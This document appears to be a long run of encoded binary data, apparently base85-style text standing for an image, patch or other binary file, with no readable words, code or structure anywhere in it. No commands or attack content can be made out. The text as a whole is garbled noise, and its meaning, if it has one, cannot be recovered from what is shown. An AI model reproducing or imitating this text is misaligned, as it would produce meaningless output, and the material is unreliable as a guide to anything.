zUfoq)P^oOjs+h7WjMgrN_74M{zxxS_n%U}{$>nbDrMd}YIY~Y#<3&<#TGRLU%`p9_ z0lR?*vr(RefFvX$!i{dS%a02G^431V`+1mZTHVFG06&+ zXzCpM66bDdxDFQIY{Bd<2lCrW=enkvv9P(0r;(>CW0AzPo9SYGiu~8TpwnY*^k=wO zNZ#`#9z4CG#b;)!mRB~Osxvf^w6O4 z)&~2(-$Ue4&2=SS7P;4ydcCVX1L_GdB))u4f>86e@Sr(NqUQ_eA!dMJ(zHmONrwyEnj5jkOma6q9Dh}8 z`CjPB#9Ul-wS&hI!Q(?~_FBm1nrY-^CL$dTTO1o3&W$}hm8C{8QB6$h3~~V@iL)j? zsUF2iQCT#t^lVL=*Rw`SeP;QmX=jpXg)MP4G=Ln3=QP_(6wGl*@pyqdzeDv=i)aQp z_+D;u%y(Jie*k0lWO2m6M(@5UkA7j1uZ_f5aJd}6 zyx&e23rmMfEi@von$l9saP|Xx6#{A*>12I=5guqma>~x5pZ@@1K%lCciOysW?n&#i z`YnzT40RAcb0gXw%&r&UdaXIVC8K@89;>6FEZS{sZ8j|z*D!duk=_<2s6zyB*I_Q* zokZ}HeNTbn6bUG)rJ;3QB;}Qjb>9ySJQms8JB3njCaIm}qT#@}0dlbQ^nQbqXr3Po z#N-#$4-}Kxgkh4$<;`=OS7%E|3*=*LMqnR=J5x_hMO^7%W1ok;*A2f0 zrYq>#Mq6Ek$-kp{)LO)N5U=oGif3%J_=Jv+F(N$YKo1Ris=QYStJ%4WvhV00!N6Qw z{{X^9cn3$1QN(J~&ysR#5+OAV0I-|&b1|R%PXeBjmI{hku?!k~@9`+*4{Oz)jbGS5kfI`3`YY33W$bjAr90L z;FAp@#kh4EapvB9Q;-|D#Q5_d649fF=Zxo{5!>AszP4(JVctnFse!p13yz=^P&$(t zf$(B7Zflx8LUX2X&2pB&%v|S??&<;WfZjgDs{NaadPye2-svT$ZRTyQn0R=q<3Z7N z;ceTVR!|@GnGX!6a>ae;81)^<~^x`Lmhr;4~s9MkTqgMLWAgS-jqn}|nKJao9D_i=}1GTT=F z0Ld)ETpN(SY2?=-1QvB3DfdS<&sWDyh?71Z=Ld^w*AAg);nVj0%b9v$?TXkyLd_{p`QTHng=9Ct~Um!VLJQgz%!0UEuQ9E8i*u$Y-W#i0DgNbRJ0E^2d1>c2?_fZDfgY z8MnWmKGjxg1D)1rb@kxy?+y;<$6e}8K3rB&L5j*Lr)|S0aMZhyaw>PWSs908CDBIG zLnOAX=zNN1j*sJsp9|&@)nzVVckqts=9sOXswJ80@>beL4`%^TVW zcy;qp9V@F~Wh}W`=*bK=7xKDc^U1mNI-8x@IY~aRlGCmY+xN(zx}~AF1NzwYKqudJZ)q0XASN@sJ~To$eT1+#El1mCjN?= zX~;Nmv>RJ9VDB;3we7@#&h1mYzMRw5%Oh#qe1JQ;B=SqAW)k*OLp41|r3Vo-f>2uF z%EH?s}@{n}A&15~ZZZ#|GxoPFY|4R@8o+6{PTC&#xwx zl>(ABjpg18f$MuCt*65yd!(gw?u57q^E_PjzMgA5WpKVyKqmG|g|ka25U{=O;LtB} zfXN!r0o-_$ffyNu&LYPD01?x8H`lk4)6hXk+2r(i-%|P8yM{7Gjyyr}3C7{LZ==*m z=2RIVX%Yb-?z;8^f`Lo3dq*U4R#RbBZjKh`d&DNdb>ZTe7=9@+>GtNPc>I1R5HsWn0O z=&Ny@N_=9bN7giNa}vhh`B}-J^a;tIE*)J(J!Tz|%x&a`R*)neN@AlBq>_$iwvIMR zUEFoe*e`uP#MFR^3&Vi~WJhlQ0KLl62D#ObnS?wR03CbZF?{dH9oi9cRZlXKF5JbW zi;Epmojj4;29a%gslMf*T*@yP7T}?~NspR&CvfM>acglY%WyoDBV(9IAx)$bY>-l2 z(JY}RUD&s;ehY6P4AfEN>_rlDl5Rf);@m>bL8ty2JLr%CTX-a%D;=UEhDAKsz>UQ5JQOOHWow1?wbY&G zcZUTMp~d;Late;55*0Koc$~QJQeRZ(VGz@chPCC~QPHp$MozXWC_lNG&=mbE@}D7a zvPZsYK{|lZ;4Gh+u6!DB<~Z!LMZWF%S{{5y~=pplb9&u)=xFW@wrUEF7i~{bJ&gf zvgkXhyV%)3x_pf$FkAq;h~zv|A3MYpbH2quKM^_J$qzZ4Zg?V%<+rw%DK8|s)=6RS z0nJpr=%m*hVoo@FbxQ`sb4YjVMh>Vld}T?8)oHMt^Y0*K@;SG6v21Yg8?$wmI%a>^ z7E=VYG?h=yX`Il=!0}p|7MONwwX*unFCU;Q%3v-2SA3VOY(QGeyIe2s8Q6T*Ck*2= zfxeboIzUFvG@qdFv0`wk19Rr)7T7p5X4*mdj{6V>Y;i#Lbb%9{!H)G@`WBfgfEtod zC846i+f`85<&-g`UoaQ4M#JEb$8om8!Wt||BwQ}rP1%0#Hs_k3Po&GLw^gx{mftn= zN3`2+o|d)DbF5bqs=^r@v&JN05$YX#T~f^pnnlHrOD^4uY$GEZp*<*Wax{k7Pe8Fd zL$lG+3o+&LGuOKMQ?v(2 z(sdUXAE2mh`8bI_vy+wBgt*ovQB_dl`6rOQ&L>gOd#syz&hW-?8Y4#LT$bs(@3Ylf zIjk-?G`fD0l4rp+OIS=%k(u1CnPA>N=a)5YRf;wo9xO7KM!DO`oo*+RsBd+*y2rJE zfHTVFH7s#L;2LgibHe-wW}UZBLkyL54T>OK=N<~n7s4mOpB+70H*>k6&TaJo@K#$b z6i`VGM|IPT&+;6U3~pmrSZb%KH4{ino=LrrM6-iSONq?-EA~(}8V;S`6OVxUrX{R2 zR0fh82TE@t9Bt7^Fl;#P97>5_K~aQ76Kdlz%{v3YJaV1|LZ{&VrK#LY5vawhWU8xqd){>L z1Arb0ka9GhWh*ESBn=XC21w!=@csIypr?I7b7LdA+|IeRf(^7y2HKDaxYa5=n~gMZ z^|efwI#+;6JiLOCa4gY9?*+lF8HFlZk4UCuAYRYSa5W`Nt-$MWX2ASH69K4Zc-rnc zdfSqBXQZN{s`Tpi?;@tvky_#I<#j#2pSIZHe3BQ^D*3vQkdyST_%I3&o#fYofZLgpviqrlGBly3#aVr_Dim0Fd4slA(s@Gx!wbH09(H z+c(KifsA9bJ-L874ywF$&DTW)IEcPTrNiZ=h8e0@SjmQH!Qw#D>5v@aPM{tESr$)S zA(C6XwYm;X0Y;Ft7Pc{K4N7Iq1F>02PSe&IH+A(tdh$m@gw^7bx+)lqk7y;<;Ltge zp-MyY^-=3Uc+#)ttzOJt#Mc}<$@HCXy%C>R|HYwCWRxCCG>df5fI*(2T^D}!1! z-cKNrRYOsSG(`CFJYJFBI9B{RmdtC-wfLd*# z(A@Z{_+zP^?QCz(NwtAdwVqns)Es1VrZ}yKL6NyT`?w@U6xEZ6;f>PF^I*m|Qhb87 z#kOj@XXj)%yha+QFh6y0NCaG8#a-c8-8RKB@=-*}oN>cR-ZM52FBO)q#H%qnx7AkE zzIutBnbJMiE-AAcU>0_6;luS;5<<#W29tO2+&g%l%@a?}V`i4LD=Z&oF$``Bii&8& zbhPX*l4%ZBj|-k^9V9?V*VVk3f$uOKT&;0EqN=Q>Z5$+1VeCD~BhVic)oHj5%ltU^ z?o8818DWy3_5rEw;5^lJB@~lNW2PI&^(Me8tSbnwhZ2C&wmIe|!Hsrn`xQPPMOTPa z2xyvh;^Dv#70|F;dk@$^8-&8j>}}Q$t&zE#2V8@%iaaovjAU7(f76LqyFNBpNAj*BXbx7hF}j1+k(wh)b9nGqemcA%xbo)7sM)Rt0$7G zqE}tgImOO#QmD3eI4J%w#-!cTTe!xNndhPthf3@*3lF_jbdgP6QzK%~8BUux#eE}y#wXEzc7b=oV zi8?qABgV(e>Z8XTlgJ~djnc~P16nS9%HtH-98&~sJebWnfzz`)BP3=6#Bx_yUNu9p zOmpzoLtTuxThb%}%!m0Ss?FjUmLrVSzIyt%)Xyoqoc9+JizID?S;p@2A5x1^3u%TI zxH;!=%ns5uJ((zusWIJ=HriWIt+sz-v8|>rI6V}TM#h&(DekeL4kVp9D;yU9!|4F6 z+PU{sqfrA7%FE@@D_x=OCchP+W)p!&76*byqiJcorcW2U=M}RDMg!)``?vm!9|u6t z`jdwL0Ec6YUgEcWa->4R&WVkGc~RZzpO=vy%3G8I-JhFrD*n> zY)(ESrNihcaLhIhBZdgTK5lmsR(_KE_P9nR0Q#=IkD3gGUd_+%a*UyjHjeKYZ# z+dNZg3nHtVB`jJ)Ne^~5c{C!1HI4n@?jJIn=-C?wygM_V0sjEV@#UH9Qs<+ksrg(v z`3cu_USwv0qP zU7@7#JyXnf@;$>uTgMAtZO@j=Z6^w5IL!151GwyO(WGXB|tPI>B^XKQkI z5UYJSioKimw?;_e-)HMmD{COcTNITHWK*@jgolH=TyjXPtbI*89bHZ(a29PudLL@3 zsRN~P2FJ+u{r9VCiC*_e?w0ohL6e8~fxU>`dynr00oE~%*~~9{^GR&3W}{K|B;_Hw znCtk21G8BQ8640+HqCP}xQBIA*yb-6jNRP|cseSOSn-woHC392UAh$^lD2CJd#)TD z6|8k6= zBYjwOl-IMI(Z|56EJlu=qGw{52{f{182~w&?{6eJhKU(wW;kyhi>0R|)4B+OE!2w( zw#QbR>%ef(?o_g3tg4OCV+<{+Z>uv~tNa{4T7vx1ccQsr#CB-9} z?9u3Xgn-t`-iX-ovQt}_^dVWc?h7I(P^HH&cu5(x{b08HBO{$0?LMd%3j!EV4(pb` zV<+FXX!pW7f%Q)k5h53q0=q9~=fPaT#{QpqDO*JgnM};$?Q@P|KSIb&9`T#E5^ci# zmrkj}TU8U{nBF%JRCVgP-XljY9WiXQX3m;Sa*K7O}-=RGujhi zxraO^#Bx$30oF^4u-U@n??on+q4PGLt=p@cXFoMwQ(|>E6wji?N2SqAqg>;exq6Rc zRuhL)?Ij$*xsldJ+cmebapYBPTs1g(ZXJvavAAYo9JwXtXGPX-{o_N(u7(CrNfT;g z(CF>lFuZA>G zh(=|goM=vIv zGkCD@=B2?9#NZX!WrX0`NQWOaufU=LhI)aSl1R%vu4xu&LnRi$oQ?jY=0d{YB1SEhA4q> z2E=$Q+?W*Dq>?%U(Jf3fiX1Kvg_pkV$M2G^+H_6#j*^-?f^@!59Jn3XBvnH- zE50nntmp&2PE)Qxd5;BGieT@;>Kw>r6U0Vlxu=L)3?CDXwNYWaO&L3bVb?DZZl?~-ZF>u&c4Lk44n;;SlU05$>3om5j| zyD=>APRBMGeoe;LV~3hvYH9Xk$&tNNaeYUB>z_0!>1wtNh4MD>JQ4YTCy3#~_9FW3 zHKrpBrLA!-`KQ4wYHr;f(HkV-G%e&&zB~7s#cG|cb4ue}+h)}46f)Pn&Z0SLA{oF2 z#M`HeMDo8Gc`prRY+}bt87=zK=^~zIx=JwZ>_aij#>uQkMpY465Z%>Z!#*++bLx}-GcIjv`NOTKF+>6#uc zb5vkku_Q6Kv&XdpGVr+x&sb_TNh2>5>4Cfyhy_NHE0S1Fyp^pS)sMnzA%?N+g^mt= zK5Y+(3JtZemBjNG(vxa4}M^jMVpF^JRRI5k_LZ19-fBU%Y)IytsJNp#f$fuj<`s~*~n<)y)( zk$!&AmAmmhtpelpRgzH6O;fuiP+->Ae^oiMtnFTBK9d?(J?N&gi zE)YQ$U^#?Wy4Awf!Y7X7l4BNON+$YsMBN!Dl5TT)UgS*CEFDgXEfyo8Qs}7P zS36^A%1Anq;I|ki!KhT_rJIDoj*06Ut+!f>~ZUF@@h^Zdz%ekg{l>8^;#8 zq!H{;I@wR8j}dMme$n+!8|s*t=4fbW1as=7J*B?5EzFGkLIIbF ztY5`Y1`s%SVn1C!Vy92=6^+pl;+_V#bvQC6>utyarb9a-hGyN( zbd1VubSfD|eyE&mh(lTpkQ&Cvh>cEZmm3m_C-<%pI=I~>fZUJ`fz+yZT#%$PXipQZ z{86`v@JMyIF9gIhLOADyS2thV{v@dOdQ!GZT}%Fkdp1x75# zPf3tQ&h6Z7s$S64Nk}EC z-0Psfg7Epa1r1z=T9)E>6J^vY`%=X!obvottqyi;2sj^d&f;5LQ(o6HqY>T$?B9dt zvBZ&bng-V-C<->T+&KAt6Oe2=7)UH-yNA(PRY@G~)}rL{$e5~^bqJ=7#Ead>s*eVQ z$l=3+u-WV)eWS*pqlvdNI_^9y(WyS*tl(qER1$BHT{ScW5gbD^l4hPU1UcM2WT*>U zCUPzSRvSwCGmFm-4;z_B3Ei^#l17C4?yE~&##pq0Zi>zLTWFh@8`G`=HZ!p6Af?9VP2^;--gjyfs`Di7ghYp!|)m8uSFLA9Dm0Ieid0=kzEqKZJr z5=@TzEm3xi(7CN<5D0;?Wdxg(VZ|lUlH6N|n(V9E$5J)1*foH6k_G%Xtn5PF;t(X4 zWoD$KlJ<#aOigy1!kH8% zcRi6h(KAxwkU(d29dD^xN*q5A!mtVJ@q%Qls2OOf!MB^;;If6q#Dq?X(Ps15KKGPI z!1`Mm4rE^2z~XtIMK$urEKQ0gk!N2{Yh8g<)@;0S)zj5R$z0MhIk&J?J0G(ZdrON& zNkwSKtt`(rWK0}f;-+ooUJT4xv^y?jmX?v5x757c&hf?8$Sv@pt;PQ z|oZ0Z|2!N)++ezD@?mP3-Fsj17Eu#(mvWx}qSYcRFC4kb^;CZuSJI!2P_ z1H6&P*LQ-YxtaDC_9{7UU2CouzM;Y8xUbo#U`RQpcnunIQ{jL_+mUm{Siy$VQeo0m z*2r5kz}!YSo}~CHi7K-d3p-Q!fH@H}L=7jTZS-Xq8{%!$A22Lbv{n-z> zO{b-F`Cm}|)i659boVS6p6dlTnI%iZZIX)1kDINv(I!dA1*`?yYMjLC>EAhS9T|!N zqi$|bii-qKdCD$tzz%C}Z(7Ya=8Ys^IL6Bn%X)SQ%$an(wbe>}X^EL)Yh&s_)k~Do z;j~gVq;Kn<+cAwgN8)@{7INnT@<)npQ5_%+jn{G1?i`2J7{dBfpTtI+$8XccIA(l= z=KB-W@)jSHXmj}7jRMeYzRCP@Ut5b+Hx9xg)=G&Di@X{+l@DnvFqdKuX3W#cPe9Nb z(f?Ba2AeM-V?J4f&EdlqOK7&VIlS+z;s!B zM-rbAmCv2$DfL)5G%Xisbudk|GMaeIZ47AD*C$RZHA_b|T$y5x(macXg(`*?NMUAx zt?g;0eD0)#S)k|!XSa#*NQe;J&uGdzsWM_S2pby)>M^0pH7Z~fSZg2Yjr6L^S&@U? zXPTzDbBmmKpJEHYbkG=cI{ohKR8p|f3kP+MplUl$$akk>51HTq0aBS#DTr-51EuEc zUsYkV_zN*f4A_NRF#I|_WSRU(=+VrlHj5C!9W-$4#Wax9#N4iyLwCx0o{5JskVYKS zcX9d+d(F8egfl|UoY}Y2iR>GPHB{$GJIm@`WRlzox^=E(06u22PK;6MDe5by5z@x# zWG9#FTVaN5*3QsRHqy=UwlgDsMv|S@jwAW!^#!QnYnWtyXUKN(>>evoQ_V3l+p0Bl zw7)JV$FXD|h*VC~99N1X#5X`w_&lwltZdRp6xnZf$}ZhORn--Mz1bU-6WwU#;Iun8 zvCqZW>fCa+JR=H^SIsH!JHf5yR9k{q9CvlM54!-gY2RGp%NaQ81-o|-1z9FCBbzl8 z4P(RZ2pV}Pm9oC7qDqRRXFbKifaovCE3K%+Fb7KwHpo&-91u4v>S_;uW7gaPqNRdr zxwll2ndUtC4{A~6&v0$;*{AE;jOG&d#?y$5fETxL-g)_=$kvR~*^C^ylxC(!Gc7m~ zM0lHORIFDCW*0PUo~Amv+}zG=M&XB{@lhQ1vLRn}OJQ z{gRBxFKHWOc^GwRvQuVbhFRHf5S8fS*`auIRg6O7?XgWoAaJ%sd8cXMigsjk$eqst zm*H;`ra@I-flT&9;v0OgY40)0Bs6Ar_YcbE0j%n#QeriDL6V-L7Rwdv=%fJH{-Uhm z&pg7t*~PIu$%)L*;uj!grG>KQ3G6A%T6$`S$2~j(iefW719m+4Bbymy&*3g+ zmc7i9R|l|MXf0=RZGaczI;S&soYY){cbYCIqG8&NEqVCyD5NP z;o|K&aQ^_Bw453V8B>Ci#!L&}O(%Jzcq+^)SgK@>l6JJh=K|)DVmykp#b_bHF(w=; zN8%Jh_J&rFK(?r_dxKhh_m97@y6P$9ik}F~4DkSN+mH@>$03;)IBcNe6Hwy7NlL>{ zIX@{8;eMf1NXNiSU*2uh`qt7`OzAND#rclVw5aAnK2C9%@+d^L=J&DUG$}f_31%-O zT<>m&yYH|lc`WSl6(%P(T@H>2ofWlb1VOhq8aO85yA6<{Xlcnz5ohk595@v9H3XB- zXeJc(P5c|LVB^y1G}5*9WWvOAT5KMMYPxyik9JvNGdY|OfmQ}4$^z(UX?^NI)`ELA z%fj8Lu$`@vo>x)hjWNu_mpB|z?G05nBO6%Jn2lQgifeXQRK)o4LfMX6GC_RJ_N;|X zEnXEfqL8`qT!uNr)(HuOv5Ye2KJ{HaRQpDnlcK2@nCz}cSaNsBg$_uc2|U`GdqaYe zB=2anj5g{Nee*A4!6|l(hKr7q1?&oFcTa*h(_9C`$EDMcj5u9}=@HCeH{v;kEJD_H ziAOXHouZD@EOIt#N0_H!zJ|+54nGbx0i(yF45}Z4lP0$u66kPhd|H-SX&yZxt-e5P zL%!t)7N?p>qo%}R5mv`+lUxq(LvATanb74n4KH#BOX8&7>Lb>@;q;8(&{6` z`!gu5!yV~ZME%` zE3>m2%qWVyCZq6-BI4Z&0R@^|0k~?@#BplVhewblp{C>v%xCjAiw^Ofm4tG-bMdAC z3kyZ(h#yq*)1rTQ7B3O1qIrhBy2%*Q{vlR1?!%=Rw$D3xOD?lP$1hMvMEyqUvnC~h zILA|a$pd(U)P9uAa=Ee0=B6=+j(`>F4 zF*I@2irw4(PM})uWw?2SNa8cfWTkbUH|{)-G>dkOuG(&fjyWAGS`IMIqndKU=Mn}X zZrwXpbnR27iN+@7xX|D1P^HBvt1#(l@%Bk0Byn>cYuMXGWmmESS|`(rjQggaM|N8f zd`~rsZX;1g9JppK34l8;axP;dqFSPA>StQ4-KR`}9Krc`tC{O+=~%;Dda?s-O%}QQ zFBi+Vy=JAS+*Q4>lIXJ>r1a#L(pYXa3RA4vOQSiPay-TOsIm;NyLD;gk);8@4vWrY zU|~3T{r4%9tg35`W*7;412e$n6LpxBb&<$h6CrUqhz;k@*q4T4lK`(kP`}|b`b{u0 zFf@m>i-O*T9w$o+n#@NFa4^Vj==repD78l43GE+5%=JNc_`S&V021jOR z1H>izzz~#NByqUZ@kt%hLWLN$_$nD&V{xKaM6xatcq0W}v}I%UU*23tH+VXT4=e=${k7c(v72^L`<{OdJrhF~KF>LbDntIimhz>XEniefh1D(Dp#-3bLw9*s5C8}8+jDm7H zaz$hjmZDaQ(?pV@RKF=w%8fil>b|EDVZxyxxKSM-I;0u8C$|TtiKoJPDmSuWnoxoi zcO6OQmMUGtM4l$aE79M?1zyo9zeblWx+5{oa+m22JW4M_kn%&(B;#aZ9be@uculiN zGZeo`b+oc0OCaQw$|)ReV5Z0`UToHzpt`_jj++pYnxZ-5%3i~894gLD_w%5>X0=&0hT^vY=q*j!_4#%All>WnsS(`mm%bNk|}UoAT% z1f0%ac`DybCGBwoPF$9jmu@A51`0}U0AF{i&o>O2-l%VuWJ3*~)&KxJLYM5#rEp9{ z+wY1EL==;N9yIO!71cJcfmvcZVEjU@wNGs}^soo!VL6SpCsmq< z389(2(TI*8vlMh;_!jPN>=rcasRh7lfs>+3ns4TkT0&X)fk1Zz zW>im@l$?azjZoaUn^*(@*<5VUgiAt6kuEoo*8)fm)Q-Msw=*m9=u)r21hv4~+m!E! zSw3ejWZnDfwo+g@S#>5bwoLbCnWO=d2RAEc-mP&gVr)U| z-@LdpfK^T=SuD|VO@c{raV1Hhh0d#n;@~(G$q#>6=&UB0^>cvZa!S<6QB$(?u+v2- zCP>7t9WJu_WQkXkd+vk0>|bsvP+$oW@)b(O@_Lw^eDU z=;G5riMFd6_ZoJ%nAz}+*VF2QCv#hukx6}1fp%MJ5?>RV?NeqVE`s_=8I~VUs^o(j z?D(Q|?lwriYc!(}yHZl)jDwi+;Fjnge8O$5vJx8xuzOaE48;EcV|ZOel5DVSNbWKX~>)Q6@py2yscux?=EKz- zQsKll%akv0ZV|sbjqap^}=J{{SyL2Jz#IN6}DYm(f03goD%_ zJX8n0(@5zhCB&Pb6{!vzI2_NCSQ#Oc6HT)3&-6)XHt{OTik>LiXQ_3V%|m{fQQ(An z?>6du5meNfh-lI_=+K15hV`6{78w5kc;S8n?}B#`#Ad{2GR$Q^HoB1g>x-UpP$bkm$tl+|c&iz9l3Y6tn+n1tF-KEx zNqFM>a=%4UNd|Wh({&yQ-1q1UoOvxYxJ39HV16wF>D?;?k+tJjH_M{f$58G7cm(SN zm2VDqO>cl7edTC&PZh1Fo+?U8=Tk77WzChh>Q<8xg1yF`=~0%yoB?U!cBrvpyrS+R-Wft&GJ#%9=h-x z)0^$t8o#YPP;erFuS@g*pW@~{f;1=);K8-}8M zK9%pLre=BNIx(ZnsNj+2%R{7`h79-t_vWBe!U+T(_4qAz2Uhv9x+vW9k*s*IHXIgM z=8rIpTyt<%SR@s7b+I~@H-OuM=8i>J!5p-*FqWOh+*SU_nbFiWk%McC+kKDUC1bQ$ zc&^7Le)Ww2G#j4|Dg|yY4Gk}%VIVc+WtMwbyU9O~(Ntlx&*^N-EQB~Tn-Dx!XoG*G z@3Bs$&t#4#CpzTv%`>!X3=_yAZWp+lo%ZF!xe#e~rvBa~Ew5}RGk|d#fo&7?^i?%s z{)-cy8ZPHsLG4kpHKgV`jwM%?I1EsEk7IF5d(ZelE&nxk9LC$1kvwDJQlO@%h;J&~WRpVH4h2raa2!t>GB*jMmT<asBAe)A3aoj+AFs~fARh(O0~X~vC?KIl+)I)gj+ZB0IN!Mb0Cl-g~a z#qla<)X_)`I%Xp5BdynN z!oCmnRrC-|SBO)@WRExzw4OSSOP|p;ih69AeO^kIlf1*LS$5l_U)4yW#;0vtn+_pW zK|4i-9MclR;MZ^gdsO=}M>sLg!P+l={Vchyx9mM`)e#+&S|J3Rhm2j#a3C9RX~OUB z-E=vA4Y}Gai!>73o5jzklBcQoJK_|TbkS4dw61KX&d+wZ8*&!aW#!r`_g9u2RWKq0IF?!78Ywlsk>hwJ4ANqzix8!5 zu5fYAIbP%}P9uxrkHl$4F^SCBTWeIsDR{ppTdI{?i&fIoPBB`lj7FZK!YZih2+D3a zx1NK77>c?Z;Fx9o+xY(gvbvzzKHcoc7YfD^89479!T$ggZb$@V4Xw|5ti`rsDCgbK z&e=$?F+IRJw-+2$Rd&wR(-wS;kBQ>jjz8-+mbaLc=mTMK&N#s)M;g8cpqV#1;!zJn-WeQLiXcjufRJ7 z#W8FKlMs%+o-tDqlOYD}(@sk_g7$3OW|6bYkKr_L-#Q~4(`0xp=VgCOkG~bdq>7fh zSY>ktcv~TEL*PE;jFV*~o}Kbj)Nd+Va^@0S?FX7&)K6T>Jk3{C({#CC`Is zHb%d!!qy9b3F?sJnXzt}f(}Y_+X^C-L^0edW|_A|?U0tY#G7zQs@M}w#=b0b3#kTS z84*leTjRrm$rsmQa<#KGvB2KW=B%)~x=N~LR8M8xo#n#lb>_bjA~R6;W}i*c~`rs^pjM^g~QB(*#L0P#?p<{lwA`@r3A zZZ;l2uZr*XTy>OG#g#AVEbC&z7;TnLXg0O?n~n}ktHId$NurcU%Zq2yMjnK5R`@Q+ zw-ctSb}5Qb;j%=2PCA#Cx&9zoRn`a6M%PZ})>FRQs<@qJH^IY-l~m~k5HE9aY8wkm z&g_goYTfg7@;ttrIpz^|j>vUbd83rT@ne%(@oU`Or07TDZXgE!6_QXsp4V`5U3{mn zmsN6hM%Y-db|py|ARW_-vjfwGlsKZAnvhF}&dgGji_H_8mC^hE08-NI&29}_hRp+? zG?lM#A}8p^x1I0A`6t*z?AE%+hDQC0a_sj!#T#UET;kEyYh8QTUo&hw$!WyVt4)=2 zc0r#PO;|B%2eu}M7~1D%J_AK#vGP07=8fj|Hy%mZa0k-4^I@`Rb=?U0)ld*{9)i zLx$605>*C#i>8sIDe>@GXt3i;1H=^1e2;5EYs*NzwXwfjptb`jxn;Y5-Evgb2C~7_ zbFrk`uN8>PTL(KW*Ya3q&=7t|oAgb~PU~7m*!2r@HW%?|Wn^&g7#nG#CiWclQZT`@ z^HJ43k*sXDJKNYhU(5`V5 z)f6&`shr?ic(rKTh|+BoG5S_m@d(C_IyK{=R&s2!t0#2vwX~YwC#(ro81@VU+UOYC zI^Z>lzO0{|4*}$rmKo`lwPl9dQ%2T>&kD9=g5r~Dj% z-ovOvU^!=NWuERwk><9`kQ@#W(_l`lKb6^L!=OA96Gia_K*TVMRpFHa(nZF=@+hQ@ zuumQ-v+nsb-gHCe9%9Mz&xoo?%jtMj`e<$}e!`+XgAJ(_m{HG0^LIvibSq#68yto7 z{HKWIcqqu+7Z$<+y@sqmnVeX4wbZJ?1}xEAMBhiNXw54)2NBUuiySpjhg7-L)imt0 z3r(9MwAt)C1;?=%=WS~+*jzw(kP;g2E^9%xy`RN~Rd;2ksuFH2YIr~Gif8Ofz30Td7~E+UfH}A zb!9~^F-GXCVwx(V;^?O_=B|-Ur9UM!~j@dU|1nRkAvI z%5rx`R$a1qU-hcG>Fb~cv$Lcb*b`vx!(sv9^-b+(Z4(zqg|~1v#10qo*Q)LZB6zHO zu&S6P?tn*&f`v6Kjdg{yaJAOPt8D6^ne3K|pEFII3jtMC8&qbKcxY+w!r502c8zp$ zUK(pRfskJN_b(5UUAavmWRMO20EiD&PljR#3#fFDjgrFlmP;G0-f7~VsPtMF$>?t0 z(n^1q>uG-# z6Kd&cn~Tde8#1={kPlYs>JFq0lKGNB967G0dKhQf;<^`D-p+3hW7TJY2bjN0scpjQ z+~zhqY24>Cc+ev^E$TcxRE$z8TuP8v;fxT?7y_mN{h+Prw)YeC2%x5@5Y|N=<&p@& zCOaPI=_gu@=-GL=}04;dE7X5XD~FxfnyFs&rKS==Jl|c<7_ULxw)GzBb7ubj)#eJKq)D zY;?G~k*K>#1ZmH)S4FnqV~A^rA-6daGq|?>do(vmb^sZ(O~t0D5g8=O1TJB`t-htE z*3+8GWG$1xEj?`Fc-a({a=bE2M;oKFS`QL6(L=^C>RKAt!$ml&hyn7AX#k#KCgz#2 z<}aVgCqq>C^(KAX;^GDp00Pz*wsstKH?~TwNC4swf(BNe1Sgot*zofm+Bk#2sP*lQ z^$&G4ZjLf^VK=hej+P;Fn!PS9W-E@({iyQ`AlU`%N{e&Dl1{f4=2B*?jO>+ko~gL zoQ7F)%U<+^hjB|JTSAd;Wog_I$wQK6PHEDbe>AMRSw-3^vVK?EtQ*N!xLR*&o(`?( zsi;khyHY!flgSbYt`*JGsWR{hLxMz>HcPgi7Fg4nKm=nUCCYaX~)+wxx zA+~8c>7oR#H%L_B$8_z=7fO6jkMN9he8rLqE+U<4n&FZ=k-;RAj`u|60#>bbo0P<- zQRbgKRCx}g%_TlC|U2 zt`;E_tz(<&gd%%kdtBJs>vC|q4n5MFcP}IdfE|bo&|L&&wjyv^U;ySp|l3Z8WoHojR5Z2bhV0?9aL;>jU*27a8Q_Z2=CWb zblV02Wsawf{{Rs4KUFR_iK-gd;emvMsTy!mWFs~5w@(CZkh4~s6oTuZIgKYUg4$-a zZcts&TmRkA(z#cPz8zWRjTbInUQ!&}CZ z1OCb*jkUu5hfXc|s~=Y&HVyMaH8mH?KQN*fYt<-?EIibP;^5r+EG-@ZM-|!LA1pDyk%^sC?5BUh{o^#8E`~rDSc@&OFo1 ztsAkthB6v%G*33ab^D`s*1g&_qmm$<#Pz~j7t1`imAPt7{_`rw7p;Plf($PY0Eqk3 z%0Gm6Phz8K4rvF?5v+WYcUs$%(MX7iUL$iF8}psfWVJ4s=&TI#)=zTK20#nw27~XK z)NIBw+!CAP3_;nUg8q*IKZJjX=(0GDBQ`5vQD0VXH194w0Y!*b8mSu_O`wQnXdDv^ zZiYwb2M-koNMr&rp!56Oovp2PKx_>?R(YO1n};N}MB-Y;>i4S*LRx4k;iIKvNsqlO zyxi`J6jJV5_geD5M)(e@E8JXijY`>YV{A91`auk3pl0tO`tR^bmBv@z{$2{(2&Sfm zuB@*C(Z~2WzMH<~1_+o9eQL z;+NqWn{VVkyOi8&u7?k#j}F2Ha?yH;&Aw6o9sy>W4357NQk+b#xa+5izo5dSqoQ?w zB61JlW9IUvL#kh3EC+xIt4XwG$Og5exvd|4r1L8CXDG1knxq)cJkvE*vr$rLL(kH8 zf~c&m#Wv3wboFn1^%A%aWH5f96>QVbic|+mOTLJ{fOJ|~Dv^Xz?x?$yNZ*x|jYoh@ zMj0iTa$whq`|?*5?24+<4y-KKi;vX!G%JidW3a&X!&8YgN;QzTP~NvH=M}^-TrUXt zuL;B)%2)m#NWFPaiRs|5v*PZQwwDcv*!sukJoPHBTA{wlByA<8#15**-k^+HIL8a; z>a1#Zoi#5~mYf~e&fS+f^EV3V@Zd7pqNb}}fi5a+7LrEEy`9V)a|KM-ZrWtX8__|U zxzBMH1P=rcdSI~(AARbh_M;fk^G?iNpQ_W=%Ys+PWT>vGzaR#HcqsAEZ1eAudba`2 z%7zyDLxtJ{N3EiArx0W<5YvD_<7Kl}!*>=BzV$EKO_K7>13U>N_^bJ=p89W#HfA|~ zQ}E7fd(QWAP5#I5syKh?D%m|Gei5Hb4qnUb3+7eZ&WAC(r&k6rl_oaK>@Kfpm59PQ*l8gro{VBmR3xur^6W2 zMBVjWwUyenzDlsw5t*@pu8A#w5E?$@7QBOY>Z2Tvgx)cq9vz(0rl^*A9QmGJ@_WRa zl_Hg~7YEk3wh_s^N{YhP>UAj(kotRL)9Oz$t|)NoN=7!P9+xW)t)`6K?)!q3i|wU$ zCq&FPh&Kt+}x%z$GbsHkOC?3cl84@nz zsm|5|hi+$pN4Ap7RkRb_x$Z4)yh+hTrorN)rS!aA`?eoa2Kw(lJ_`FDs*aAMeGG8E 